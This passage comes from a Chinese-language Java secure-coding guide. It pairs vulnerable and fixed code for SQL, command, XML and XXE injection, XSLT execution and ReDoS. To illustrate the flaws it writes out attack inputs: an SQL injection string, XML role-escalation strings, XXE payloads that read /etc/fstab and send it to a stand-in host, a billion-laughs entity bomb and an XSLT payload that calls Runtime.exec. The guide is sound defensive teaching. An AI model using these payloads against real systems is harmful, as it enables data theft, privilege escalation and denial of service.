988    String path = System.getProperty(RUNTIME_BASE_DIR);
989    ... // 直接使用
990}
991```
992
993**【正例】**
994
995使用ClassLoader提供的`getResource()`和`getResourceAsStream()`从装载的类路径中取得资源。
996
997```java
998public static String getSavePath(String filePath, String fileName) {
999    return ClassLoader.getSystemResource(fileName).getPath();
1000}
1001```
1002
1003对环境变量的值先进行标准化处理,再执行校验,最后使用:
1004
1005```java
1006public static String getFile(String filePath, String fileName) {
1007    // 获取进程的classpath路径
1008    String path = System.getProperty(RUNTIME_BASE_DIR);
1009
1010    // 标准化
1011    // 校验,例如StringUtils.startsWith(path, "/opt/xxxx/release/");
1012    // 使用
1013}
1014```
1015
1016**【反例】**
1017
1018配置文件未校验,直接使用。
1019
1020```java
1021@Configuration
1022@PropertySource("classpath:xxx.properties")
1023@Component
1024public class XxxConfig {
1025    @Value("${appId}")
1026    private String appId;
1027
1028    @Value("${secret}")
1029    private String citySecret;
1030}
1031```
1032
1033**【正例】**
1034
1035Spring Boot框架可以使用注解@ConfigurationProperties和@Validated完成对配置文件的校验,如下所示:
1036
1037```java
1038@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx")
1039@Validated
1040public class XxxConfig {
1041    @Value("${appId}")
1042    @Pattern(regexp = "[0-9_A-Z]{32}")
1043    private String appId;
1044
1045    @Value("${secret}")
1046    @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!")
1047    private String citySecret;
1048
1049    // Setter和Getter方法
1050}
1051```
1052
1053ServiceComb框架,可以通过Java自带的validation-api,从Bean上下文取到配置文件对象后,显式调用检验。
1054
1055## 禁止直接使用外部数据来拼接SQL语句
1056
1057**【描述】**
1058
1059SQL注入是指使用外部数据构造的SQL语句所代表的数据库操作与预期不符,这样可能会导致信息泄露或者数据被篡改。SQL注入产生的根本原因是使用外部数据直接拼接SQL语句,防护措施主要有以下三类:
1060
1061- 使用参数化查询:最有效的防护手段,但对SQL语句中的表名、字段名等不适用;
1062- 对外部数据进行白名单校验:适用于拼接SQL语句中的表名、字段名;
1063- 对外部数据中的与SQL注入相关的特殊字符进行转义:适用于必须通过字符串拼接构造SQL语句的场景,转义仅对由引号限制的字段有效。
1064
1065参数化查询是一种简单有效的防止SQL注入的查询方式,应该被优先考虑使用。另外,参数化查询还能提高数据库访问的性能,例如,SQL Server与Oracle数据库会为其缓存一个查询计划,以便在后续重复执行相同的查询语句时无需编译而直接使用。对于常用的ORM框架(如Hibernate、iBATIS等),同样支持参数化查询。
1066
1067**【反例】**(Java代码动态构建SQL)
1068
1069```java
1070Statement stmt = null;
1071ResultSet rs = null;
1072try {
1073    String userName = request.getParameter("name");
1074    String password = request.getParameter("password");
1075    ...
1076    String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName
1077        + "' AND password = '" + password + "'";
1078    stmt = connection.createStatement();
1079    rs = stmt.executeQuery(sqlString);
1080    ... // 结果集处理
1081} catch (SQLException ex) {
1082    // 处理异常
1083}
1084```
1085
1086上述示例中使用用户提交的用户名和密码构造SQL语句,验证用户名和密码信息是否匹配,通过字符串拼接的方式构造SQL语句,存在SQL注入。恶意用户在仅知道用户名时,通过`zhangsan' OR 'a' = 'a`和**任意密码**的方式就能完成上述代码中的查询。
1087
1088**【正例】**(使用PreparedStatement进行参数化查询)
1089
1090```java
1091PreparedStatement stmt = null;
1092ResultSet rs = null;
1093try {
1094    String userName = request.getParameter("name");
1095    String password = request.getParameter("password");
1096    ... // 确保userName和password的长度是合法的
1097    String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?";
1098    stmt = connection.prepareStatement(sqlStr);
1099    stmt.setString(1, userName);
1100    stmt.setString(2, password);
1101    rs = stmt.executeQuery();
1102    ... // 结果集处理
1103} catch (SQLException ex) {
1104    // 处理异常
1105}
1106```
1107
1108参数化查询在SQL语句中使用占位符表示需在运行时确定的参数值,使得SQL查询的语义逻辑预先被定义,实际的查询参数值则在程序运行时再确定。参数化查询使得数据库能够区分SQL语句中语义逻辑和数据参数,以确保用户输入无法改变预期的SQL查询语义逻辑。如果攻击者输入userName为`zhangsan' OR 'a' = 'a`,该字符串仅会作为name字段的值来使用。
1109
1110**【正例】**(对输入输入做转义)
1111
1112```java
1113public List<Book> queryBooks(List<Expression> queryCondition) {
1114    ...
1115    try {
1116        StringBuilder sb = new StringBuilder("select * from t_book where ");
1117        Codec oe = new OracleCodec();
1118        if (queryCondition != null && !queryCondition.isEmpty()) {
1119            for (Expression e : queryCondition) {
1120                String exprString = e.getColumn() + e.getOperator();
1121                String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue());
1122                sb.append(exprString).append("'").append(safeValue).append("' and ");
1123            }
1124            sb.append("1=1");
1125            Statement stat = connection.createStatement();
1126            ResultSet rs = stat.executeQuery(sb.toString());
1127            ... // 其他代码
1128        }
1129    }
1130    ...
1131}
1132```
1133
1134虽然参数化查询是防止SQL注入最便捷有效的一种方式,但不是SQL语句中任何部分在执行前都能够被占位符所替代,因此,参数化查询无法应用于所有场景。当使用执行前不可被占位符替代的外部数据来动态构建SQL语句时,必须对外部数据进行校验。每种DBMS都有其特定的转义机制,通过这种机制来告诉数据库此输入应该被当作数据,而不应该是代码逻辑。因此,只要输入数据被适当转义,就不会发生SQL注入问题。
1135
1136**注:**如果传入的是字段名或者表名,建议使用白名单的方式进行校验。
1137
1138在存储过程中,通过拼接参数值来构建查询字符串,和在应用程序代码中拼接参数一样,同样是有SQL注入风险的。
1139
1140**【反例】**(在存储过程中动态构建SQL)
1141
1142SQL Server存储过程:
1143
1144```sql
1145CREATE PROCEDURE sp_queryItem
1146    @userName varchar(50),
1147    @password varchar(50)
1148AS
1149BEGIN
1150    DECLARE @sql nvarchar(500);
1151    SET @sql = 'SELECT * FROM t_user_info
1152                WHERE name= ''' + @userName + '''
1153                AND password= ''' + @password + '''';
1154    EXEC(@sql);
1155END
1156GO
1157```
1158
1159在存储过程中,通过拼接参数值来构建查询字符串,和在应用程序代码中拼接参数一样,同样是有SQL注入风险的。
1160
1161**【正例】**(在存储过程中进行参数化查询)
1162
1163SQL Server存储过程:
1164
1165```sql
1166CREATE PROCEDURE sp_queryItem
1167    @userName varchar(50),
1168    @password varchar(50)
1169AS
1170BEGIN
1171    SELECT * FROM t_user_info
1172    WHERE name = @userName
1173    AND password = @password;
1174END
1175GO
1176```
1177
1178存储过程使用参数化查询,而不包含不安全的动态SQL构建。数据库编译此存储过程时,会生成一个SELECT查询的执行计划,只允许原始的SQL语义被执行,任何参数值,即使是被注入的SQL语句也不会被执行。
1179
1180## 禁止使用外部数据构造格式化字符串
1181
1182**描述】**
1183
1184Java中的Format可以将对象按指定的格式转为某种格式的字符串,格式化字符串可以控制最终字符串的长度、内容、样式,当格式化字符串中指定的格式与格式对象不匹配时还可能会抛出异常。当攻击者可以直接控制格式化字符串时,可导致信息泄露、拒绝服务、系统功能异常等风险。
1185
1186**【反例】**
1187
1188```java
1189public String formatInfo(String formatStr) {
1190    String value = getData();
1191    return String.format(formatStr, value));
1192}
1193
1194String formatStr = req.getParameter("format");
1195String formattedValue = formatInfo(formatStr);
1196```
1197
1198上面的示例代码中,直接使用外部指定的格式对字符串进行格式化,当外部指定的格式为非字符类型如%d,会导致格式化操作出现异常。
1199
1200**【正例】**
1201
1202```java
1203public String formatInfo() {
1204    String value = getData();
1205    return String.format("my format: %s", value));
1206}
1207```
1208
1209上述示例将用户输入排除在格式化字符串之外。
1210
1211## 禁止向Runtime.exec()方法或java.lang.ProcessBuilder类传递外部数据
1212
1213**【描述】**
1214
1215`Runtime.exec()`方法或`java.lang.ProcessBuilder`类被用来启动一个新的进程,在新进程中执行命令。命令执行通常会有两种方式:
1216
1217- 直接执行具体命令: 例如`Runtime.getRuntime().exec("ping 127.0.0.1")`;
1218
1219直接使用外部数据构造命令行,会存在以下风险:
1220
1221- 执行命令时,需要命令行解释器对命令字符串进行拆分,该方式可执行多条命令,存在命令注入风险;
1222- 直接执行具体的命令时,可以通过空格、双引号或以-/开头的字符串向命令行中注入参数,存在参数注入风险。
1223
1224**外部数据用于构造非shell方式的命令行**
1225
1226**【反例】**
1227
1228```java
1229String cmd = "ping" + ip;
1230Runtime rt = Runtime.getRuntime();
1231Process proc = rt.exec(cmd);
1232```
1233
1234当ip的值为“ 127.0.0.1 -t”的时候,会向实际执行的命令中注入参数“-t”参数,导致ping进程持续执行。
1235
1236针对命令注入或参数注入,具体的解决方案如下:
1237
12381、**避免直接执行命令**
1239
1240对于Java的标准库或开源组件已经提供的功能,应使用标准库或开源组件的API,避免执行命令。
1241
1242如果无法避免执行命令,则必须要对外部数据进行检查和过滤。
1243
12442、**对外部数据进行校验**
1245
1246**【正例】**(数据校验)
1247
1248```java
1249...
1250// str值来自用户输入
1251if (!Pattern.matches("[0-9A-Za-z@]+", str)) {
1252    // 处理错误
1253}
1254...
1255```
1256
1257外部数据用于拼接命令行时,可使用白名单方式对外部数据进行校验,保证外部数据中不含注入风险的特殊字符。
1258
12593、**对外部数据进行转义**
1260
1261**【正例】**(转义)
1262
1263```java
1264String encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip);
1265String cmd = "cmd.exe /c ping " + encodeIp;
1266Runtime rt = Runtime.getRuntime();
1267Process proc = rt.exec(cmd);
1268...
1269```
1270
1271在执行命令行时,如果输入校验不能禁止有风险的特殊字符,需先外部输入进行转义处理,转义后的字段拼接命令行可有效防止命令注入的产生。
1272
1273说明:正确的转义处理只是针对外部输入,而不是拼接后的完整命令行。转义方式只针对命令注入有效,对于参数注入无效。
1274
1275## 禁止直接使用外部数据来拼接XML
1276
1277**【描述】**
1278
1279使用未经校验的数据来构造XML会导致XML注入漏洞。如果用户被允许输入结构化的XML片段,则用户可以在XML的数据域中注入XML标签来改写目标XML文档的结构和内容,XML解析器会对注入的标签进行识别和解释,引起注入问题。
1280
1281**【反例】**
1282
1283```java
1284private void createXMLStream(BufferedOutputStream outStream, User user)
1285    throws IOException {
1286    String xmlString;
1287    xmlString = "<user><role>operator</role><id>" + user.getUserId()
1288        + "</id><description>" + user.getDescription() + "</description></user>";
1289    ... // 解析xml字符串
1290}
1291```
1292
1293恶意用户可能会使用下面的字符串作为用户ID:
1294
1295```
1296"joe</id><role>administrator</role><id>joe"
1297
1298```
1299
1300并使用如下正常的输入作为描述字段:
1301
1302```
1303"I want to be an administrator"
1304
1305```
1306
1307最终,整个XML字符串将变成如下形式:
1308
1309```xml
1310<user>
1311    <role>operator</role>
1312    <id>joe</id>
1313    <role>administrator</role>
1314    <id>joe</id>
1315    <description>I want to be an administrator</description>
1316</user>
1317```
1318
1319由于SAX解析器(org.xml.sax and javax.xml.parsers.SAXParser)在解释XML文档时会将第二个role域的值覆盖前一个role域的值,因此会导致此用户角色由操作员提升为了管理员。
1320
1321**【反例】**(XML Schema或者DTD校验)
1322
1323```java
1324private void createXMLStream(BufferedOutputStream outStream, User user)
1325    throws IOException {
1326    String xmlString;
1327    xmlString = "<user><id>" + user.getUserId()
1328        + "</id><role>operator</role><description>" + user.getDescription()
1329        + "</description></user>";
1330
1331    StreamSource xmlStream = new StreamSource(new StringReader(xmlString));
1332
1333    // 创建一个使用schema执行校验的SAX解析器
1334    SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
1335    StreamSource ss = new StreamSource(new File("schema.xsd"));
1336    try {
1337        Schema schema = sf.newSchema(ss);
1338        Validator validator = schema.newValidator();
1339        validator.validate(xmlStream);
1340    } catch (SAXException ex) {
1341        throw new IOException("Invalid userId", ex);
1342    }
1343
1344    // XML是有效的, 进行处理
1345    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1346    outStream.flush();
1347}
1348```
1349
1350如下是schema.xsd文件中的schema定义:
1351
1352```xml
1353<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
1354    <xs:element name="user">
1355        <xs:complexType>
1356        <xs:sequence>
1357            <xs:element name="id" type="xs:string"/>
1358            <xs:element name="role" type="xs:string"/>
1359            <xs:element name="description" type="xs:string"/>
1360        </xs:sequence>
1361        </xs:complexType>
1362    </xs:element>
1363</xs:schema>
1364```
1365
1366某个恶意用户可能会使用下面的字符串作为用户ID:
1367
1368```
1369"joe</id><role>Administrator</role><!--"
1370
1371```
1372
1373并使用如下字符串作为描述字段:
1374
1375```
1376"--><description>I want to be an administrator"
1377
1378```
1379
1380最终,整个XML字符串将变成如下形式:
1381
1382```xml
1383<user>
1384    <id>joe</id>
1385    <role>Administrator</role><!--</id> <role>operator</role> <description> -->
1386    <description>I want to be an administrator</description>
1387</user>
1388```
1389
1390用户ID结尾处的`<!--`和描述字段开头处的`-->`将会注释掉原本硬编码在XML字符串中的角色信息。虽然用户角色已经被攻击者篡改成管理员类型,但是整个XML字符串仍然可以通过schema的校验。XML schema或者DTD校验仅能确保XML的格式是有效的,而攻击者可以在不打破原有XML格式的情况下,对XML的内容进行篡改。
1391
1392**【正例】**(白名单校验)
1393
1394```java
1395private void createXMLStream(BufferedOutputStream outStream, User user)
1396    throws IOException {
1397    // 仅当userID只包含字母、数字和下划线时写入XML字符串
1398    if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) {
1399        // 处理错误
1400    }
1401    if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) {
1402        // 处理错误
1403    }
1404    String xmlString = "<user><id>" + user.getUserId()
1405        + "</id><role>operator</role><description>"
1406        + user.getDescription() + "</description></user>";
1407    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1408    outStream.flush();
1409}
1410```
1411
1412这个方法使用白名单的方式对输入进行校验,要求输入的userId中只能包含字母、数字或者下划线。
1413
1414**【正例】**(使用安全的XML库)
1415
1416```java
1417public static void  buildXML(FileWriter writer, User user) throws IOException {
1418    Document userDoc = DocumentHelper.createDocument();
1419    Element userElem = userDoc.addElement("user");
1420    Element idElem = userElem.addElement("id");
1421    idElem.setText(user.getUserId());
1422    Element roleElem = userElem.addElement("role");
1423    roleElem.setText("operator");
1424    Element descrElem = userElem.addElement("description");
1425    descrElem.setText(user.getDescription());
1426    XMLWriter output = null;
1427    try {
1428        OutputFormat format = OutputFormat.createPrettyPrint();
1429        format.setEncoding("UTF-8");
1430        output = new XMLWriter(writer, format);
1431        output.write(userDoc);
1432        output.flush();
1433    } finally {
1434        // 关闭流
1435    }
1436}
1437```
1438
1439上述示例中使用Dom4j来构建XML,Dom4j是一个定义良好、开源的XML工具库。Dom4j会对文本数据域进行XML编码,从而使得XML的原始结构和格式免受破坏。
1440
1441这个例子中,攻击者如果输入如下字符串作为用户ID:
1442
1443```
1444"joe</id><role>Administrator</role><!--"
1445
1446```
1447
1448以及使用如下字符串作为描述字段:
1449
1450```
1451"--><description>I want to be an administrator"
1452
1453```
1454
1455则最终会生成如下格式的XML:
1456
1457```xml
1458<user>
1459    <id>joe&lt;/id&gt;&lt;role&gt;Administrator&lt;/role&gt;&lt;!--</id>
1460    <role>operator</role>
1461    <description>--&gt;&lt;description&gt;I want to be an administrator</description>
1462</user>
1463```
1464
1465可以看到,“<”与“>”经过XML编码后分别被替换成了 “**\&lt;”**与”**\&gt;**”,导致攻击者未能将其角色类型从操作员提升到管理员。
1466
1467**【正例】**(编码)
1468
1469```java
1470private void createXMLStream(BufferedOutputStream outStream, User user)
1471    throws IOException {
1472    ...
1473    String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId());
1474    String encodeDec = XXXXEncoder.encodeForXML(user.getDescription());
1475
1476    String xmlString = "<user><id>" + encodeUserId
1477        + "</id><role>operator</role><description>" + encodeDec
1478        + "</description></user>";
1479    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1480    outStream.flush();
1481}
1482```
1483
1484上述示例中,对外部数据在拼接XML字符串前进行了编码处理,然后再构造XML字符串,这样就不会导致XML字符串结构被篡改。
1485
1486## 防止解析来自外部的XML导致的外部实体(XML External Entity)攻击
1487
1488**【描述】**
1489
1490XML实体包括内部实体和外部实体。外部实体格式:`<!ENTITY 实体名 SYSTEM "URI"\>`或者`<!ENTITY 实体名 PUBLIC "public_ID" "URI"\>`。Java中引入外部实体的协议包括http、https、ftp、file、jar、netdoc、mailto等。XXE漏洞发生在应用程序解析来自外部的XML数据或文件时没有禁止外部实体的加载,造成任意文件读取、内网端口扫描、内网网站攻击、DoS攻击等危害。
1491
14921.利用外部实体的引用功能实现任意文件的读取:
1493
1494```xml
1495<?xml version="1.0" encoding="utf-8"?>
1496<!DOCTYPE updateProfile [
1497    <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]>
1498<updateProfile>
1499    <firstname>Joe</firstname>
1500    <lastname>&file;</lastname>
1501    ...
1502</updateProfile>
1503```
1504
15052.使用参数实体和<CDATA[]>避免XML解析语法错误,构造恶意的实体解析:
1506
1507XML文件:构造参数实体 % start;% goodies;% end;% dtd定义一个恶意的combine.dtd
1508
1509```xml
1510<?xml version="1.0" encoding="utf-8"?>
1511<!DOCTYPE roottag [
1512    <!ENTITY % start "<![CDATA[">
1513    <!ENTITY % goodies SYSTEM "file:///etc/fstab">
1514    <!ENTITY % end "]]>">
1515    <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
1516    %dtd;
1517    ]>
1518<roottag>&all;</roottag>
1519```
1520
1521恶意DTD:combine.dtd中定义实体&all;
1522
1523```xml
1524<?xml version="1.0" encoding="UTF-8"?>
1525<!ENTITY all "%start;%goodies;%end;">
1526```
1527
1528甚至可以这样构造恶意的combine.dtd,将结果发送到目标地址,最后会获得file:///etc/fstab文件。
1529
1530```xml
1531<?xml version="1.0" encoding="UTF-8"?>
1532<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>">
1533%send;
1534```
1535
1536**【反例】**
1537
1538该示例中对来自外部的XML文件进行解析,没有禁止解析DTDs或者禁止解析外部实体。
1539
1540```java
1541private void parseXmlFile(String filePath) {
1542    try {
1543        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1544        DocumentBuilder db = dbf.newDocumentBuilder();
1545        Document doc = db.parse(new File(filePath));
1546        ... // 解析xml文件中的内容
1547    } catch (ParserConfigurationException ex) {
1548        // 处理异常
1549    }
1550    ...
1551}
1552```
1553
1554上述代码示例中解析XML文件时未进行安全防护,当解析的XML文件是攻击者恶意构造的,系统会受到XXE攻击。
1555
1556**【正例】**(禁止解析DTDs)
1557
1558```java
1559private void parserXmlFileDisableDtds(String filePath) {
1560    try {
1561        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1562
1563        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1564        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1565        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1566        DocumentBuilder db = dbf.newDocumentBuilder();
1567        Document doc = db.parse(new File(filePath));
1568        ... // 解析xml文件中的内容
1569    } catch (ParserConfigurationException ex) {
1570        // 处理异常
1571    }
1572    ...
1573}
1574```
1575
1576代码中设置禁止解析DTDs属性,该方式不仅可以防止XML的外部实体攻击也能防止XML内部实体攻击。
1577
1578**【正例】**(禁止解析外部一般实体和外部参数实体)
1579
1580该代码示例能防止外部实体(XXE)攻击,不能防止XML内部实体攻击。
1581
1582```java
1583private void parserXmlFileDisableExternalEntityes(String filePath) {
1584    try {
1585        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1586        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
1587        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1588        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1589        DocumentBuilder db = dbf.newDocumentBuilder();
1590        Document doc = db.parse(new File(filePath));
1591        ... // 解析xml文件中的内容
1592    } catch (ParserConfigurationException ex) {
1593        // 处理异常
1594    }
1595    ...
1596}
1597```
1598
1599**【正例】**(对外部实体进行白名单校验)
1600
1601这个示例方法定义一个CustomResolver类来实现接口`org.xml.sax.EntityResolver`。在这个类中实现自定义的处理外部实体机制。自定义实体解析方法中使用一个简单的白名单,在白名单范围内的返回对应的文件内容,否则返回一个空的实体解析内容。
1602
1603```java
1604private static void parserXmlFileValidateEntities(String filePath) {
1605    try {
1606        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1607        DocumentBuilder db = dbf.newDocumentBuilder();
1608        db.setEntityResolver(new ValidateEntityResolver());
1609        Document doc = db.parse(new File(filePath));
1610        ... // 解析xml文件中的内容
1611    } catch (ParserConfigurationException ex) {
1612        // 处理异常
1613    }
1614    ...
1615}
1616
1617class ValidateEntityResolver implements EntityResolver {
1618    private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml";
1619
1620    public InputSource resolveEntity(String publicId, String systemId)
1621        throws SAXException, IOException {
1622        if (publicId != null && publicId.equals(GOOD_ENTITY)) {
1623            return new InputSource(publicId);
1624        } else if (systemId != null && systemId.equals(GOOD_ENTITY)) {
1625            return new InputSource(systemId);
1626        } else {
1627            return new InputSource();
1628        }
1629    }
1630}
1631```
1632
1633当系统中涉及的XML操作中必须使用外部实体时,必须对外部实体进行白名单校验。具体的校验方式如上述代码,自定义一个`ValidateEntityResolver`类(实现接口`org.xml.sax.EntityResolver`),在`resolveEntity`方法中对XML中引入的实体进行白名单校验,拒绝解析非白名单中的外部实体。
1634
1635备注:XML解析器非常多,不能一一列举。当程序加载来自外部的XML数据时,通过设置对该解析器生效的属性或其他方法达到禁止解析外部实体的目的,通过构建上面示例中有攻击行为的XML内容,查看程序反应来判断设置的属性是否已经生效。
1636
1637## 防止解析来自外部的XML导致的内部实体扩展(XML Entity Expansion)攻击
1638
1639**【描述】**
1640
1641XML内部实体是实体的内容已经在Doctype中声明。内部实体格式:`<!ENTITY 实体名 "实体的值"\>`。内部实体攻击比较常见的是XML Entity Expansion攻击,它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施(禁止DTDs解析可以防护外部实体和内部实体攻击)。
1642
1643解析下面恶意的XML内部实体,会占用大量服务器内存资源,导致拒绝服务攻击。
1644
1645```xml
1646<?xml version="1.0"?>
1647<!DOCTYPE lolz [
1648    <!ENTITY lol "lol">
1649    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1650    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
1651    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
1652    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
1653    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
1654    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
1655    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
1656    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
1657    ]>
1658<lolz>&lol9;</lolz>
1659```
1660
1661内部实体扩展攻击**最好的防护措施是禁止DTDs的解析**。也可以对内部实体数量进行限制,以消减内部实体扩展攻击发生的可能性。在不需要使用内部实体时,应该禁止DTDs解析,需要使用内部实体时,严格限制内部实体的数量及XML内容的大小。
1662
1663**【正例】**(禁止解析DTDs)
1664
1665```java
1666public void receiveXMLStream(InputStream inStream)
1667    throws ParserConfigurationException, SAXException, IOException {
1668    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1669    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1670    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1671    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1672    DocumentBuilder db = dbf.newDocumentBuilder();
1673    db.parse(inStream);
1674}
1675```
1676
1677**【正例】**(限制实体解析个数)
1678
1679Java中的JAXP解析器默认限制实体解析个数是64,000个,但通常不会需要解析这么多的实体个数,可以限制更小的实体解析个数。该代码示例中通过设置DOM解析器的属性限制解析实体个数。
1680
1681```java
1682public void receiveXMLStream(InputStream inStream)
1683    throws ParserConfigurationException, SAXException, IOException {
1684    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1685    dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit",
1686        "200");
1687    DocumentBuilder db = dbf.newDocumentBuilder();
1688    db.parse(inStream);
1689}
1690```
1691
1692备注:属性http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit在JDK 7u45+、JDK 8版本中支持。JAXP中的SAX和StAX类型解析器不支持该属性。
1693
1694**【正例】**(限制实体解析个数)
1695
1696该代码示例中通过设置系统属性限制解析实体个数。
1697
1698```java
1699public void receiveXMLStream(InputStream inStream)
1700    throws ParserConfigurationException, SAXException, IOException {
1701
1702    // 使用系统属性限制
1703    System.setProperty("entityExpansionLimit", "200");
1704    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1705    DocumentBuilder db = dbf.newDocumentBuilder();
1706    db.parse(inStream);
1707}
1708```
1709
1710备注:系统属性entityExpansionLimit在JDK 7u45+、JDK 8版本中支持。JAXP中的SAX和StAX类型解析器同样生效。
1711
1712有些产品使用Xerces第三方jar包提供的DOM、SAX、StAX类型解析器,该jar包中可以通过设置`setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)`限制实体个数不能超过100,000个。
1713
1714**【正例】**(限制解析实体个数)
1715
1716Xerces包中限制实体解析个数代码。
1717
1718```java
1719private static void receiveXMLStream(InputStream inStream)
1720    throws ParserConfigurationException, SAXException, IOException {
1721    DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance();
1722    factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1723    DocumentBuilder db = factory.newDocumentBuilder();
1724    org.w3c.dom.Document doc = db.parse(inStream);
1725    doc.getChildNodes();
1726}
1727```
1728
1729备注:XML解析器非常多,不能一一列举。当程序加载来自外部的XML数据时,通过设置对该解析器生效的属性或其他方法达到禁止解析内部实体的目的,通过构建上面示例中有攻击行为的XML内容,查看程序反应来判断设置的属性是否已经生效。
1730
1731## 禁止使用不安全的XSLT转换XML文件
1732
1733**【描述】**
1734
1735XSLT是一种样式转换标记语言,可以将XML数据转换为另外的XML或其他格式,如HTML网页,纯文字。因为XSLT的功能十分强大,可以导致任意代码执行,当使用TransformerFactory转换XML格式数据的时候,需要添加安全策略禁止不安全的XSLT代码执行。
1736
1737**【反例】**
1738
1739```java
1740public void XsltTrans(String src, String dst, String xslt) {
1741    // 获取转换器工厂
1742    TransformerFactory tf = TransformerFactory.newInstance();
1743    try {
1744        // 获取转换器对象实例
1745        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1746
1747        // 进行转换
1748        transformer.transform(new StreamSource(src),
1749            new StreamResult(new FileOutputStream(dst)));
1750        ...
1751    } catch (TransformerException ex) {
1752        // 处理异常
1753    }
1754    ...
1755}
1756```
1757
1758这里xslt没有做任何限制,直接调用,当执行类似如下XSLT代码的时候,会导致命令执行漏洞:
1759
1760```xml
1761<?xml version="1.0" encoding="UTF-8" ?>
1762<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java">
1763    <xsl:template match="/" xmlns:os="java:lang.Runtime" >
1764        <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/>
1765        <xsl:value-of select="os:exec($runtime, 'calc')" />
1766    </xsl:template>
1767</xsl:stylesheet>
1768```
1769
1770**【正例】**
1771
1772```java
1773public void xsltTrans(String src, String dst, String xslt) {
1774    // 获取转换器工厂
1775    TransformerFactory tf = TransformerFactory.newInstance();
1776    try {
1777        // 转换器工厂设置黑名单,禁用一些不安全的方法,类似XXE防护
1778        tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1779
1780        // 获取转换器对象实例
1781        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1782
1783        // 去掉<?xml version="1.0" encoding="UTF-8"?>
1784        transformer.setOutputProperty("omit-xml-declaration", "yes");
1785
1786        // 进行转换
1787        transformer.transform(new StreamSource(src),
1788            new StreamResult(new FileOutputStream(dst)));
1789        ...
1790    } catch (TransformerException ex) {
1791        // 处理异常
1792    }
1793    ...
1794}
1795```
1796
1797TransformerFactory可以添加安全策略防护,Java对xslt内置了黑名单,这里通过将[http://javax.xml.XMLConstants/feature/secure-processing属性设置为true开启防护,可以禁用一些不安全的方法。](http://javax.xml.xmlconstants/feature/secure-processing属性设置为true开启防护,可以禁用一些不安全的方法。)
1798
1799## 正则表达式应该尽量简单,防止ReDos攻击
1800
1801**【描述】**
1802
1803ReDos攻击是正则编写不当导致的常见安全风险。Java中提供的正则匹配使用的是NFA引擎。NFA引擎的回溯机制,导致当字符串文本与正则表达式不匹配时,所花费的时间要比匹配时多。即要确定匹配失败,需要与所有可能的路径进行对比匹配,证明都不匹配时,才返回匹配失败。当使用简单的非分组正则表达式时,一般不会存在ReDos攻击。容易存在ReDos攻击的正则表达式主要有两类:
1804
18051、 包含具有自我重复的重复性分组的正则,例如:
1806`^(\d+)+$`
1807`^(\d*)*$`
1808`^(\d+)*$`
1809`^(\d+|\s+)*$`
1810
18112、 包含替换的重复性分组,例如:
1812`^(\d|\d|\d)+$`
1813`^(\d|\d?)+$`
1814
1815对于ReDos攻击的防护手段主要包括:
1816
1817- 进行正则匹配前,先对匹配的文本的长度进行校验;
